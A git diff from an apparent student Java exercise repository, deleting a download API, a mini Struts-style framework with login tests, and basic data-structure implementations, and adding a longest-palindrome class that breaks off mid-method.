-		}
-		System.out.println("下载完成！");
-		
-		
-
-	}
-
-}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/download/api/Connection.java b/group23/1028361767/Week1DataStructure/src/com/coderising/download/api/Connection.java
deleted file mode 100644
index 15534af093..0000000000
--- a/group23/1028361767/Week1DataStructure/src/com/coderising/download/api/Connection.java
+++ /dev/null
@@ -1,26 +0,0 @@
-package com.coderising.download.api;
-
-import java.io.IOException;
-import java.net.HttpURLConnection;
-
-public interface Connection {
-	/**
-	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
-	 * @param startPos 开始位置， 从0开始
-	 * @param endPos 结束位置
-	 * @return
-	 */
-	public byte[] read(int startPos,int endPos) throws IOException;
-	/**
-	 * 得到数据内容的长度
-	 * @return
-	 */
-	public int getContentLength();
-	
-	/**
-	 * 关闭连接
-	 */
-	public void close();
-	
-	public void setConnection(HttpURLConnection conn);
-}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/download/api/ConnectionException.java b/group23/1028361767/Week1DataStructure/src/com/coderising/download/api/ConnectionException.java
deleted file mode 100644
index 1551a80b3d..0000000000
--- a/group23/1028361767/Week1DataStructure/src/com/coderising/download/api/ConnectionException.java
+++ /dev/null
@@ -1,5 +0,0 @@
-package com.coderising.download.api;
-
-public class ConnectionException extends Exception {
-
-}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/download/api/ConnectionManager.java b/group23/1028361767/Week1DataStructure/src/com/coderising/download/api/ConnectionManager.java
deleted file mode 100644
index ce045393b1..0000000000
--- a/group23/1028361767/Week1DataStructure/src/com/coderising/download/api/ConnectionManager.java
+++ /dev/null
@@ -1,10 +0,0 @@
-package com.coderising.download.api;
-
-public interface ConnectionManager {
-	/**
-	 * 给定一个url , 打开一个连接
-	 * @param url
-	 * @return
-	 */
-	public Connection open(String url) throws ConnectionException;	
-}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/download/api/DownloadListener.java b/group23/1028361767/Week1DataStructure/src/com/coderising/download/api/DownloadListener.java
deleted file mode 100644
index bf9807b307..0000000000
--- a/group23/1028361767/Week1DataStructure/src/com/coderising/download/api/DownloadListener.java
+++ /dev/null
@@ -1,5 +0,0 @@
-package com.coderising.download.api;
-
-public interface DownloadListener {
-	public void notifyFinished();
-}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/download/impl/ConnectionImpl.java b/group23/1028361767/Week1DataStructure/src/com/coderising/download/impl/ConnectionImpl.java
deleted file mode 100644
index e7a8b1ef1e..0000000000
--- a/group23/1028361767/Week1DataStructure/src/com/coderising/download/impl/ConnectionImpl.java
+++ /dev/null
@@ -1,62 +0,0 @@
-package com.coderising.download.impl;
-
-import java.io.ByteArrayOutputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.net.HttpURLConnection;
-
-import com.coderising.download.api.Connection;
-
-public class ConnectionImpl implements Connection{
-	
-	private HttpURLConnection conn;
-	
-	private InputStream inputStream;
-	
-	private ByteArrayOutputStream outputStream;
-	@Override
-	public byte[] read(int startPos, int endPos) throws IOException {
-		byte[] bytes = new byte[1024];
-		conn.setRequestProperty("Range", "bytes=" + startPos + "-" + endPos);
-		inputStream = conn.getInputStream();
-		outputStream = new ByteArrayOutputStream();
-		int n = 0;
-		while((n = inputStream.read(bytes)) != -1){
-			outputStream.write(bytes, 0, n);
-		}
-		return outputStream.toByteArray();
-	}
-
-	@Override
-	public int getContentLength() {
-		return conn.getContentLength();
-	}
-
-	@Override
-	public void close() {
-		conn.disconnect();
-		if(inputStream != null){
-			try {
-				inputStream.close();
-			} catch (IOException e) {
-				e.printStackTrace();
-			}
-		}
-		if(outputStream != null){
-			try {
-				outputStream.close();
-			} catch (IOException e) {
-				e.printStackTrace();
-			}
-		}
-	}
-
-	public HttpURLConnection getConnection() {
-		return conn;
-	}
-
-	public void setConnection(HttpURLConnection conn) {
-		this.conn = conn;
-	}
-
-}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/download/impl/ConnectionManagerImpl.java b/group23/1028361767/Week1DataStructure/src/com/coderising/download/impl/ConnectionManagerImpl.java
deleted file mode 100644
index 9d9c2af144..0000000000
--- a/group23/1028361767/Week1DataStructure/src/com/coderising/download/impl/ConnectionManagerImpl.java
+++ /dev/null
@@ -1,26 +0,0 @@
-package com.coderising.download.impl;
-
-import java.io.IOException;
-import java.net.HttpURLConnection;
-import java.net.URL;
-
-import com.coderising.download.api.Connection;
-import com.coderising.download.api.ConnectionException;
-import com.coderising.download.api.ConnectionManager;
-
-public class ConnectionManagerImpl implements ConnectionManager {
-
-	@Override
-	public Connection open(String url) throws ConnectionException {
-		Connection connection = new ConnectionImpl();
-		try {
-			URL u = new URL(url);
-			HttpURLConnection conn = (HttpURLConnection)u.openConnection();
-			connection.setConnection(conn);
-		} catch (IOException e) {
-			e.printStackTrace();
-		}
-		return connection;
-	}
-
-}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/litestruts/LoginAction.java b/group23/1028361767/Week1DataStructure/src/com/coderising/litestruts/LoginAction.java
deleted file mode 100644
index dcdbe226ed..0000000000
--- a/group23/1028361767/Week1DataStructure/src/com/coderising/litestruts/LoginAction.java
+++ /dev/null
@@ -1,39 +0,0 @@
-package com.coderising.litestruts;
-
-/**
- * 这是一个用来展示登录的业务类， 其中的用户名和密码都是硬编码的。
- * @author liuxin
- *
- */
-public class LoginAction{
-    private String name ;
-    private String password;
-    private String message;
-
-    public String getName() {
-        return name;
-    }
-
-    public String getPassword() {
-        return password;
-    }
-
-    public String execute(){
-            if("test".equals(name) && "1234".equals(password)){
-                this.message = "login successful";
-                return "success";
-            }
-            this.message = "login failed,please check your user/pwd";
-            return "fail";
-    }
-
-    public void setName(String name){
-        this.name = name;
-    }
-    public void setPassword(String password){
-        this.password = password;
-    }
-    public String getMessage(){
-        return this.message;
-    }
-}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/litestruts/Struts.java b/group23/1028361767/Week1DataStructure/src/com/coderising/litestruts/Struts.java
deleted file mode 100644
index 7757668834..0000000000
--- a/group23/1028361767/Week1DataStructure/src/com/coderising/litestruts/Struts.java
+++ /dev/null
@@ -1,181 +0,0 @@
-package com.coderising.litestruts;
-
-import java.io.File;
-import java.lang.reflect.Method;
-import java.util.HashMap;
-import java.util.Iterator;
-import java.util.Map;
-
-import org.dom4j.Document;
-import org.dom4j.DocumentException;
-import org.dom4j.Element;
-import org.dom4j.io.SAXReader;
-
-public class Struts {
-	
-	private final static Map<String, Action> actions = new HashMap<String, Action>();
-	
-    @SuppressWarnings("rawtypes")
-	public static View runAction(String actionName, Map<String,String> parameters) throws Exception {
-
-        /*
-         
-		0. 读取配置文件struts.xml
- 		
- 		1. 根据actionName找到相对应的class ， 例如LoginAction,   通过反射实例化（创建对象）
-		据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是 
-		("name"="test" ,  "password"="1234") ,     	
-		那就应该调用 setName和setPassword方法
-		
-		2. 通过反射调用对象的exectue 方法， 并获得返回值，例如"success"
-		
-		3. 通过反射找到对象的所有getter方法（例如 getMessage）,  
-		通过反射来调用， 把值和属性形成一个HashMap , 例如 {"message":  "登录成功"} ,  
-		放到View对象的parameters
-		
-		4. 根据struts.xml中的 <result> 配置,以及execute的返回值，  确定哪一个jsp，  
-		放到View对象的jsp字段中。
-        
-        */
-    	//读取xml，把xml信息放到actions
-    	readStrutsXML();
-    	
-    	Action action = actions.get(actionName);
-    	View view = new View();
-    	if(action != null){
-			Class clazz = Class.forName(action.getClassName());
-    		Object obj = clazz.newInstance();
-    		
-    		//根据parameters调用set方法
-    		initClass(clazz, obj, action, parameters);
-    		
-    		//调用execute方法
-    		String result = execute(clazz, obj);
-    		//调用所有get方法
-    		Map resultParameters = getResultParameters(clazz, obj);
-    		
-    		view.setJsp(action.getResults().get(result));
-    		view.setParameters(resultParameters);
-    	}
-    
-    	return view;
-    }
-
-	@SuppressWarnings("rawtypes")
-	private static Map getResultParameters(Class clazz, Object obj) throws Exception {
-		Map<String, String> resultParameters = new HashMap<String, String>();
-		Method[] methods = clazz.getMethods();
-		String methodName;
-		String propName;
-		String propValue;
-		for(Method method : methods){
-			methodName = method.getName();
-			if(methodName.startsWith("get") && !"getClass".equals(methodName)){
-				propName = firstLetterLowerCase(methodName.substring(3, methodName.length()));
-				propValue = (String) method.invoke(obj);
-				resultParameters.put(propName, propValue);
-			}
-		}
-		return resultParameters;
-	}
-
-	@SuppressWarnings({ "unchecked", "rawtypes" })
-	private static String execute(Class clazz, Object obj) throws Exception{
-		Method method = clazz.getMethod("execute");
-		return (String)method.invoke(obj);
-	}
-
-	@SuppressWarnings({ "unchecked", "rawtypes" })
-	private static void initClass(Class clazz, Object obj, Action action, Map<String, String> parameters) throws Exception {
-		String setMethodName;
-		Method method = null;
-		for (String parameter : parameters.keySet()) {
-			setMethodName = "set" + firstLetterUpperCase(parameter);
-			method = clazz.getMethod(setMethodName, String.class);
-			method.invoke(obj, parameters.get(parameter));
-		}
-	}
-	
-	private static String firstLetterLowerCase(String string){
-		char[] cs = string.toCharArray();
-		cs[0] += 32;
-		return String.valueOf(cs);
-	}
-	
-	private static String firstLetterUpperCase(String string){
-		char[] cs = string.toCharArray();
-		cs[0] -= 32;
-		return String.valueOf(cs);
-	}
-
-	@SuppressWarnings("unchecked")
-	private static void readStrutsXML() {
-		SAXReader saxReader = new SAXReader();
-		Document document;
-		try {
-			document = saxReader.read(new File("src/com/coderising/litestruts/struts.xml"));
-		} catch (DocumentException e) {
-			System.out.println("error:file not found");
-			return ;
-		}
-		Element root = document.getRootElement();
-		Iterator<Element> actionItr = root.elementIterator();
-		Element action;
-		Action act;
-		Iterator<Element> resultItr;
-		Element result;
-		Map<String, String> results;
-		while(actionItr.hasNext()){
-			action = actionItr.next();
-			
-			resultItr = action.elementIterator();
-			results = new HashMap<String, String>();
-			while(resultItr.hasNext()){
-				result = resultItr.next();
-				results.put(result.attributeValue("name"), result.getStringValue());
-			}
-			
-			act = new Action();
-			act.setName(action.attributeValue("name"));
-			act.setClassName(action.attributeValue("class"));
-			act.setResults(results);
-			
-			actions.put(act.getName(), act);
-		}
-	}    
-	
-	static class Action {
-		
-		private String name;
-		
-		private String className;
-		
-		private Map<String, String> results = new HashMap<>();
-		
-		public Map<String, String> getResults() {
-			return results;
-		}
-
-		public void setResults(Map<String, String> results) {
-			this.results = results;
-		}
-
-		public String getName() {
-			return name;
-		}
-
-		public void setName(String name) {
-			this.name = name;
-		}
-
-		public String getClassName() {
-			return className;
-		}
-
-		public void setClassName(String className) {
-			this.className = className;
-		}
-
-	}
-
-}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/litestruts/StrutsTest.java b/group23/1028361767/Week1DataStructure/src/com/coderising/litestruts/StrutsTest.java
deleted file mode 100644
index 92a6758a69..0000000000
--- a/group23/1028361767/Week1DataStructure/src/com/coderising/litestruts/StrutsTest.java
+++ /dev/null
@@ -1,43 +0,0 @@
-package com.coderising.litestruts;
-
-import java.util.HashMap;
-import java.util.Map;
-
-import org.junit.Assert;
-import org.junit.Test;
-
-
-
-
-
-public class StrutsTest {
-
-	@Test
-	public void testLoginActionSuccess() throws Exception {
-		
-		String actionName = "login";
-        
-		Map<String,String> params = new HashMap<String,String>();
-        params.put("name","test");
-        params.put("password","1234");
-        
-        
-        View view  = Struts.runAction(actionName,params);        
-        
-        Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
-        Assert.assertEquals("login successful", view.getParameters().get("message"));
-	}
-
-	@Test
-	public void testLoginActionFailed() throws Exception {
-		String actionName = "login";
-		Map<String,String> params = new HashMap<String,String>();
-        params.put("name","test");
-        params.put("password","123456"); //密码和预设的不一致
-        
-        View view  = Struts.runAction(actionName,params);        
-        
-        Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
-        Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
-	}
-}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/litestruts/View.java b/group23/1028361767/Week1DataStructure/src/com/coderising/litestruts/View.java
deleted file mode 100644
index 07df2a5dab..0000000000
--- a/group23/1028361767/Week1DataStructure/src/com/coderising/litestruts/View.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.coderising.litestruts;
-
-import java.util.Map;
-
-public class View {
-	private String jsp;
-	private Map parameters;
-	
-	public String getJsp() {
-		return jsp;
-	}
-	public View setJsp(String jsp) {
-		this.jsp = jsp;
-		return this;
-	}
-	public Map getParameters() {
-		return parameters;
-	}
-	public View setParameters(Map parameters) {
-		this.parameters = parameters;
-		return this;
-	}
-}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/litestruts/struts.xml b/group23/1028361767/Week1DataStructure/src/com/coderising/litestruts/struts.xml
deleted file mode 100644
index e5d9aebba8..0000000000
--- a/group23/1028361767/Week1DataStructure/src/com/coderising/litestruts/struts.xml
+++ /dev/null
@@ -1,11 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<struts>
-    <action name="login" class="com.coderising.litestruts.LoginAction">
-        <result name="success">/jsp/homepage.jsp</result>
-        <result name="fail">/jsp/showLogin.jsp</result>
-    </action>
-    <action name="logout" class="com.coderising.litestruts.LogoutAction">
-    	<result name="success">/jsp/welcome.jsp</result>
-    	<result name="error">/jsp/error.jsp</result>
-    </action>
-</struts>
\ No newline at end of file
diff --git a/group23/1028361767/Week1DataStructure/src/com/coding/basic/ArrayList.java b/group23/1028361767/Week1DataStructure/src/com/coding/basic/ArrayList.java
deleted file mode 100644
index da0237bdf7..0000000000
--- a/group23/1028361767/Week1DataStructure/src/com/coding/basic/ArrayList.java
+++ /dev/null
@@ -1,80 +0,0 @@
-package com.coding.basic;
-
-import java.util.Arrays;
-
-public class ArrayList implements List {
-
-    private int size = 0;
-
-    private int HALF_MAX_VALUE = Integer.MAX_VALUE;
-
-    private Object[] elementData = new Object[100];
-
-    public void add(Object o) {
-        if (noSpace()) {
-            elementData = grow();
-        }
-        elementData[size++] = o;
-    }
-
-    public void add(int index, Object o) {
-        if (index < 0) {
-            throw new IllegalArgumentException("index must be positive integer");
-        }
-        if (index > size) {
-            throw new IndexOutOfBoundsException("size is" + size);
-        }
-        if (noSpace()) {
-            elementData = grow();
-        }
-        System.arraycopy(elementData, index, elementData, index + 1, size - index);
-        elementData[size++] = o;
-    }
-
-    public Object get(int index) {
-        if (index < 0) {
-            throw new IllegalArgumentException("index must be positive integer");
-        }
-        if (index > (size - 1)) {
-            throw new IndexOutOfBoundsException("size is" + size);
-        }
-        return elementData[index];
-    }
-
-    public Object remove(int index) {
-        if (index < 0) {
-            throw new IllegalArgumentException("index must be positive integer");
-        }
-        if (index > (size - 1)) {
-            throw new IndexOutOfBoundsException("size is" + size);
-        }
-        Object obj = elementData[index];
-        System.arraycopy(elementData, index + 1, elementData, index, size - index);
-        elementData[size-1] = null;
-        size--;
-        return obj;
-    }
-
-    public int size() {
-        return size;
-    }
-
-    public Iterator iterator() {
-        return null;
-    }
-
-    private boolean noSpace() {
-        return size == elementData.length;
-    }
-
-    private Object[] grow() {
-        int newSize;
-        if (size < HALF_MAX_VALUE) {
-            newSize = size * 2;
-        } else {
-            newSize = Integer.MAX_VALUE;
-        }
-        return Arrays.copyOf(elementData, newSize);
-    }
-
-}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coding/basic/BinaryTreeNode.java b/group23/1028361767/Week1DataStructure/src/com/coding/basic/BinaryTreeNode.java
deleted file mode 100644
index dced34e873..0000000000
--- a/group23/1028361767/Week1DataStructure/src/com/coding/basic/BinaryTreeNode.java
+++ /dev/null
@@ -1,97 +0,0 @@
-package com.coding.basic;
-
-public class BinaryTreeNode {
-
-    private Object data;
-    private BinaryTreeNode left;
-    private BinaryTreeNode right;
-    private BinaryTreeNode parent;
-
-    public BinaryTreeNode(Object data) {
-        this.data = data;
-    }
-
-    public Object getData() {
-        return data;
-    }
-
-    public void setData(Object data) {
-        this.data = data;
-    }
-
-    public BinaryTreeNode getLeft() {
-        return left;
-    }
-
-    public void setLeft(BinaryTreeNode left) {
-        this.left = left;
-    }
-
-    public BinaryTreeNode getRight() {
-        return right;
-    }
-
-    public void setRight(BinaryTreeNode right) {
-        this.right = right;
-    }
-
-    public void setParent(BinaryTreeNode parent) {
-        this.parent = parent;
-    }
-
-    public BinaryTreeNode getParent() {
-        return parent;
-    }
-
-    public BinaryTreeNode insert(Object o) {
-        BinaryTreeNode newNode = new BinaryTreeNode(o);
-        BinaryTreeNode root = findRoot(this);
-        if (root.data == null) {
-            root.data = newNode;
-        } else {
-            int newVal = getNodeIntVal(newNode);
-            insert(root, newNode, newVal);
-        }
-        return newNode;
-    }
-
-    private void insert(BinaryTreeNode node, BinaryTreeNode newNode, int newVal) {
-        int nodeVal = getNodeIntVal(node);
-        if (newVal < nodeVal) {
-            if (node.left == null) {
-                newNode.parent = node;
-                node.left = newNode;
-            } else {
-                insert(node.left, newNode, newVal);
-            }
-        } else {
-            if (node.right == null) {
-                newNode.parent = node;
-                node.right = newNode;
-            } else {
-                insert(node.right, newNode, newVal);
-            }
-        }
-    }
-
-    private BinaryTreeNode findRoot(BinaryTreeNode binaryTreeNode) {
-        while (binaryTreeNode.parent != null) {
-            binaryTreeNode = binaryTreeNode.parent;
-        }
-        return binaryTreeNode;
-    }
-
-    private int getNodeIntVal(BinaryTreeNode node) {
-        if (node.data instanceof Integer) {
-            return ((Integer) node.data).intValue();
-        }
-        return 0;
-    }
-
-    public int getDataIntVal() {
-        if (data instanceof Integer) {
-            return ((Integer) data).intValue();
-        }
-        return 0;
-    }
-}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coding/basic/Iterator.java b/group23/1028361767/Week1DataStructure/src/com/coding/basic/Iterator.java
deleted file mode 100644
index 96adcd6d3a..0000000000
--- a/group23/1028361767/Week1DataStructure/src/com/coding/basic/Iterator.java
+++ /dev/null
@@ -1,8 +0,0 @@
-package com.coding.basic;
-
-public interface Iterator {
-    public boolean hasNext();
-
-    public Object next();
-
-}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coding/basic/LinkedList.java b/group23/1028361767/Week1DataStructure/src/com/coding/basic/LinkedList.java
deleted file mode 100644
index eb41670f82..0000000000
--- a/group23/1028361767/Week1DataStructure/src/com/coding/basic/LinkedList.java
+++ /dev/null
@@ -1,399 +0,0 @@
-package com.coding.basic;
-
-
-import java.util.NoSuchElementException;
-
-public class LinkedList implements List {
-
-    private Node head;
-    private int size;
-
-    public void add(Object o) {
-        Node newNode = new Node(o, null);
-        if (head == null) {
-            head = newNode;
-        } else {
-            Node tmp = head;
-            while (tmp.next != null) {
-                tmp = tmp.next;
-            }
-            tmp.next = newNode;
-        }
-        size++;
-    }
-
-    public void add(int index, Object o) {
-        checkMinBound(index);
-        checkMaxBound(index, size);
-        Node newNode = new Node(o, null);
-        if (index == 0) {
-            newNode.next = head;
-            head = newNode;
-        } else {
-            int pos = 1;
-            Node tmp = head;
-            while (pos != index) {
-                tmp = tmp.next;
-                pos++;
-            }
-            newNode.next = tmp.next;
-            tmp.next = newNode;
-        }
-        size++;
-
-    }
-
-    private void checkMinBound(int index) {
-        if (index < 0) {
-            throw new IllegalArgumentException();
-        }
-    }
-
-    private void checkMaxBound(int index, int max) {
-        if (index > max) {
-            throw new IndexOutOfBoundsException();
-        }
-    }
-
-
-    public Object get(int index) {
-        checkMinBound(index);
-        checkMaxBound(index, size - 1);
-        Node cur = head;
-        if (index != 0) {
-            int pos = 0;
-            do {
-                cur = cur.next;
-                pos++;
-            } while (pos != index);
-        }
-        return cur.data;
-    }
-
-    public Object remove(int index) {
-        checkMinBound(index);
-        checkMaxBound(index, size - 1);
-        Node cur = head;
-        if (index == 0) {
-            head = cur.next;
-        } else {
-            int pos = 1;
-            Node prev = cur;
-            while (pos != index) {
-                prev = prev.next;
-                pos++;
-            }
-            cur = prev.next;
-            prev.next = cur.next;
-        }
-        size--;
-        return cur.data;
-    }
-
-    public int size() {
-        return size;
-    }
-
-    public void addFirst(Object o) {
-        Node newNode = new Node(o, null);
-        newNode.next = head;
-        head = newNode;
-        size++;
-    }
-
-    public void addLast(Object o) {
-        Node newNode = new Node(o, null);
-        if (head == null) {
-            head = newNode;
-        } else {
-            Node tmp = head;
-            while (tmp.next != null) {
-                tmp = tmp.next;
-            }
-            tmp.next = newNode;
-        }
-        size++;
-    }
-
-    public Object removeFirst() {
-        if (head == null) {
-            throw new NoSuchElementException();
-        }
-        Node ret = head;
-        head = head.next;
-        size--;
-        return ret.data;
-    }
-
-    public Object removeLast() {
-        if (head == null) {
-            throw new NoSuchElementException();
-        }
-        Node ret;
-        if (head.next == null) {
-            ret = head;
-            head = null;
-        } else {
-            Node prev = head;
-            ret = head.next;
-            while (ret.next != null) {
-                prev = ret;
-                ret = ret.next;
-            }
-            prev.next = null;
-        }
-        size--;
-        return ret.data;
-    }
-
-    public Iterator iterator() {
-        return null;
-    }
-
-
-    private static class Node {
-        Object data;
-        Node next;
-
-        public Node(Object data, Node next) {
-            this.data = data;
-            this.next = next;
-        }
-
-    }
-
-    /**
-     * 把该链表逆置
-     * 例如链表为 3->7->10 , 逆置后变为  10->7->3
-     */
-    public void reverse() {
-    	if(size == 0 || size == 1){
-    		return ;
-    	}
-    	Node node = head;
-    	Node nextNode = head.next;
-    	Node tmp;
-    	node.next = null;
-    	do{
-    		tmp = nextNode.next;
-    		nextNode.next = node;
-    		node = nextNode;
-    		nextNode = tmp;
-    	}while(nextNode != null);
-    	head = node;
-    }
-
-    /**
-     * 删除一个单链表的前半部分
-     * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
-     * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
-     */
-    public void removeFirstHalf() {
-    	if(size == 0 || size == 1){
-    		return ;
-    	}
-    	int num = size / 2;
-    	size -= num;
-    	Node node = head;
-    	while(num > 0){
-    		node = node.next;
-    		num--;
-    	}
-    	head = node;
-    }
-    
-    /**
-     * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
-     *
-     * @param i
-     * @param length
-     */
-    public void remove(int i, int length) {
-    	checkMinBound(i);
-    	checkMaxBound(i + length, size);
-    	Node prev = null;
-    	Node node = head;
-    	int index = 0;
-    	while(index < i){
-    		prev = node;
-    		node = node.next;
-    		index++;
-    	}
-    	Node nextNode = node.next;
-    	while(index < (i + length - 1)){
-    		nextNode = nextNode.next;
-    		index++;
-    	}
-    	size -= length;
-    	if(i == 0){
-    		head = nextNode;
-    	}else{
-    		prev.next = nextNode;
-    		head = prev;
-    	}
-    }
-
-    /**
-     * 假定当前链表和list均包含已升序排列的整数
-     * 从当前链表中取出那些list所指定的元素
-     * 例如当前链表 = 11->101->201->301->401->501->601->701
-     * listB = 1->3->4->6
-     * 返回的结果应该是[101,301,401,601]
-     *
-     * @param list
-     */
-    public int[] getElements(LinkedList list) {
-    	int[] ret = new int[list.size()];
-    	if(ret.length == 0){
-    		return ret;
-    	}
-    	int index;
-    	int j = 0;
-    	Node node = head;
-    	for(int i=0;i<list.size();i++){
-    		index = (int)list.get(i);
-    		while(j < index){
-    			node = node.next;
-    			if(node == null){
-    				throw new IndexOutOfBoundsException();
-    			}
-    			j++;
-    		}
-    		ret[i] = (int)node.data;
-    	}
-    	return ret;
-    }
-
-    /**
-     * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-     * 从当前链表中中删除在list中出现的元素
-     *
-     * @param list
-     */
-
-    public void subtract(LinkedList list) {
-    	if(size == 0){
-    		return ;
-    	}
-    	Node prev = null;
-    	Node node = head;
-    	int data;
-    	for(int i=0;i<list.size();i++){
-    		data = (int)list.get(i);
-    		do{
-    			if(data == (int)node.data){
-    				if(prev == null){
-    					head = node.next;
-    				}else{
-    					prev.next = node.next;
-    				}
-    				size--;
-    				node = node.next;
-    				break;
-    			}
-    			prev = node;
-    		}while((node = node.next) != null);
-    	}
-    }
-
-    /**
-     * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
-     * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
-     */
-    public void removeDuplicateValues() {
-    	if(size == 0 || size == 1){
-    		return ;
-    	}
-    	Node node = head;
-    	Node next = node.next;
-    	do{
-    		if((int)node.data == (int)next.data){
-    			node.next = next.next;
-    			size--;
-    		}else{
-    			node = node.next;
-    		}
-    		next = next.next;
-    	}while(next != null);
-    }
-
-    /**
-     * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-     * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
-     *
-     * @param min
-     * @param max
-     */
-    public void removeRange(int min, int max) {
-    	Node prev = null;
-    	Node node = head;
-    	boolean foundMin = false;
-    	do{
-    		if(!foundMin && (int)node.data > min){
-    			foundMin = true;
-    		}
-    		if(foundMin && (int)node.data > max){
-    			break;
-    		}
-    		if(foundMin == false){
-    			prev = node;
-    		}else{
-    			size -= 1;
-    		}
-    		node = node.next;
-    	}while(node != null);
-    	if(prev == null){
-    		head = node;
-    	}else{
-    		prev.next = node;
-    	}
-    }
-
-    /**
-     * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
-     * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
-     *
-     * @param list
-     */
-    public LinkedList intersection(LinkedList list) {
-    	LinkedList ret = new LinkedList();
-    	Node node = head;
-    	int nodeValue;
-    	int elementValue;
-    	for(int i=0;i<list.size();i++){
-    		nodeValue = (int)node.data;
-    		elementValue = (int)list.get(i);
-    		if(nodeValue == elementValue){
-    			ret.add(nodeValue);
-    		}else if(nodeValue < elementValue){
-    			node = node.next;
-    			while(node != null){
-    				nodeValue = (int)node.data;
-    				if(nodeValue == elementValue){
-    					ret.add(nodeValue);
-    					node = node.next;
-    					break;
-    				}else if(nodeValue > elementValue){
-    					break;
-    				}
-    				node = node.next;
-    			}
-    		}
-    	}
-        return ret;
-    }
-    
-    public String toString(){
-    	Node node = head;
-    	StringBuilder sb = new StringBuilder();
-    	if(node == null){
-    		return "";
-    	}else{
-    		sb.append(head.data);
-    		while((node = node.next) != null){
-    			sb.append(",").append(node.data);
-    		}
-    		return sb.toString();
-    	}
-    }
-}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coding/basic/List.java b/group23/1028361767/Week1DataStructure/src/com/coding/basic/List.java
deleted file mode 100644
index 01398944e6..0000000000
--- a/group23/1028361767/Week1DataStructure/src/com/coding/basic/List.java
+++ /dev/null
@@ -1,13 +0,0 @@
-package com.coding.basic;
-
-public interface List {
-    public void add(Object o);
-
-    public void add(int index, Object o);
-
-    public Object get(int index);
-
-    public Object remove(int index);
-
-    public int size();
-}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coding/basic/Queue.java b/group23/1028361767/Week1DataStructure/src/com/coding/basic/Queue.java
deleted file mode 100644
index bb24e2132e..0000000000
--- a/group23/1028361767/Week1DataStructure/src/com/coding/basic/Queue.java
+++ /dev/null
@@ -1,22 +0,0 @@
-package com.coding.basic;
-
-public class Queue {
-
-    private LinkedList linkedList = new LinkedList();
-
-    public void enQueue(Object o) {
-        linkedList.add(o);
-    }
-
-    public Object deQueue() {
-        return linkedList.removeFirst();
-    }
-
-    public boolean isEmpty() {
-        return linkedList.size() == 0;
-    }
-
-    public int size() {
-        return linkedList.size();
-    }
-}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coding/basic/Stack.java b/group23/1028361767/Week1DataStructure/src/com/coding/basic/Stack.java
deleted file mode 100644
index 55c96985a9..0000000000
--- a/group23/1028361767/Week1DataStructure/src/com/coding/basic/Stack.java
+++ /dev/null
@@ -1,35 +0,0 @@
-package com.coding.basic;
-
-import java.util.EmptyStackException;
-
-public class Stack {
-    private ArrayList elementData = new ArrayList();
-
-    public void push(Object o) {
-        elementData.add(o);
-    }
-
-    public Object pop() {
-        checkBound();
-        return elementData.get(size() - 1);
-    }
-
-    public Object peek() {
-        checkBound();
-        return elementData.remove(size() - 1);
-    }
-
-    public boolean isEmpty() {
-        return size() == 0;
-    }
-
-    public int size() {
-        return elementData.size();
-    }
-
-    private void checkBound() {
-        if (isEmpty()) {
-            throw new EmptyStackException();
-        }
-    }
-}
diff --git a/group23/1028361767/data-structure/src/com/coding/me/Palindrome.java b/group23/1028361767/data-structure/src/com/coding/me/Palindrome.java
new file mode 100644
index 0000000000..2de0c4370d
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/me/Palindrome.java
@@ -0,0 +1,82 @@
+package com.coding.me;
+
+/**
+ * 回文
+ *
+ */
+public class Palindrome {
+	
+	private static String oddCase(char[] chars, int index) {
+		int maxLength = 1;
+		int i = 1;
+		while((index - i) >= 0 && (index + i) < chars.length - 1){
+			if(chars[index - i] != chars[index + i]){
+				break;
+			}
+			maxLength += 2;
+			i++;
+		}
+		return String.valueOf(chars, index + 1 - i, maxLength);
+	}
+	
+	private static String evenCase(char[] chars, int index) {
+		int maxLength = 0;
+		int i = 0;
+		while((index - i) >= 0 && (index + 1 + i) <= chars.length - 1){
+			if(chars[index - i] != chars[index + 1 + i]){
+				break;
+			}
+			i++;
+			maxLength += 2;
+		}
+		return String.valueOf(chars, index + 1 - i, maxLength);
+	}
+	
+	public static String findLongestPalindrome(String s){
+		char[] chars = s.toCharArray();
+		String longestPalindrome = "";
+		String tmp = "";
+		for(int i=0;i<chars.length;i++){
+			tmp = oddCase(chars, i);
+			if(longestPalindrome.length() < tmp.length()){
+				longestPalindrome = tmp;
+			}
+			tmp = evenCase(chars, i);
+			if(longestPalindrome.length() < tmp.length()){
+				longestPalindrome = tmp;
+			}
+		}
+		return longestPalindrome;
+	}
+	
+	public static void main(String[] args) {
+		System.out.println(findLongestPalindrome("abcbacda"));
